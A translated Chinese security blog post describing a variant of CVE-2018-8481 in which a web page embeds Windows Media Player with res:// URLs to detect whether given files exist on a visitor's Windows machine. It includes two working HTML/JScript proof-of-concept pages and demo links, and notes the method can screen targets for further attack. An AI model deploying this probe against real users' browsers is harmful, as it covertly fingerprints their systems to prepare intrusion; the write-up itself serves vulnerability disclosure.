在网页中通过调用Windows Media Player来探测特定文件

iso60001  2054天前

22.png

首先,我将要提出的这种方法,其实是CVE-2018-8481的变种:https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-8481

​假设攻击者想要探测目标机器的C:\windows\system32文件夹中是否存在的cmd.exe文件。 ​那么,我们就可以利用javascript调用Windows Media Player(wmplayer.exe)来加载这个文件,文件存在与否会影响播放器的行为模式。​其中利用代码中的"res:"代表资源,表示Internet Explorer从二进制文件加载内部资源。​具体格式为:res://resourcefile.ext/resourceitem

所有二进制文件的文件信息都可以在resource/16/1中找到。

res://filename/16/1

其中16=RT_VERSION,具体说明可在微软的网址https://msdn.microsoft.com/en-us/library/windows/desktop/ms648009(v=vs.85).aspx.aspx)中找到。​这个16可以视为一个常量值,不用经常更改,代表所有二进制文件中的资源。

​默认情况下,浏览器会假定所需资源文件位于C:\windows\system32中,但我们可以请求系任何路径上的文件。

​如果要检测Windows Media Player本身是否存在,我们可以利用:

res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.exe/16/1

为了更加进行比对,我们可以特意请求一个不存在的exe文件,看两者的请求结果。

res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.ex/16/1

​以上两个资源请求对应以下两个PoC:

<b> res://C:\Program Files\Windows Media Player\wmplayer.exe/16/1 </b>

<br>

<br>

​

<object id="Player" classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6">

<PARAM NAME="URL" VALUE="res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.exe/16/1">

<param name="captioningID" value="displaylyric" />

<PARAM NAME="autoStart" VALUE="True">

</object>

<script LANGUAGE = "Jscript" FOR = Player EVENT = error()>

​

if(Player.error.item(0).errorDescription.length==189){

alert("Click the play button");

}

else

{

alert("Click the play button");

}

</script>

以下时请求不存在的文件的PoC,注意文件的后缀是不存在的ex

<b> res://C:\Program Files\Windows Media Player\wmplayer.ex/16/1 </b>

<br>

<br>

​

<object id="Player" classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6">

<PARAM NAME="URL" VALUE="res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.ex/16/1">

<param name="captioningID" value="displaylyric" />

<PARAM NAME="autoStart" VALUE="True">

</object>

<script LANGUAGE = "Jscript" FOR = Player EVENT = error()>

​

if(Player.error.item(0).errorDesc ription.length==189){

alert("Click the play button");

}

else

{

alert("Click the play button");

}

</script>

​而这两个页面在实际操作中最明显的区别就是:当请求不存在的文件时,Windows Media Player会展示“正在打开媒体”;而请求存在的文件时,则不存在这种现象。这也导致这两种情况有一定的时间差。

​现在,让我们实际操作一下。我已经做出两个页面来展示我们如何探测特定文件的存在与否,我们以cmd.exe作为目标。

​当探测的文件存在时:https://pwning.click/Tdiff.php

​当探测的文件不存在时:https://pwning.click/Tdiff2.php

​当访问第一个网址https://pwning.click/Tdiff.php时,我们可以看到Windows Media Player播放器。

33.png

此时点击播放按钮,我们可以看到播放器上什么字符都没有。

44.png

当访问第二个网址https://pwning.click/Tdiff2.php时,我们也同样可以看到Windows Media Player播放器,而此时点击播放按钮时,我们可以看到“正在打开媒体”。

55.png

​把这种方法加以改进,我们可以批量筛选存在特定文件的目标,方便我们进行下一步攻击。

以上就是这个方法的简单介绍,更为详细的说明我将在漏洞修复后放出。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://blog.naver.com/windowsrcer/221506942781

最新评论

昵称
邮箱
提交评论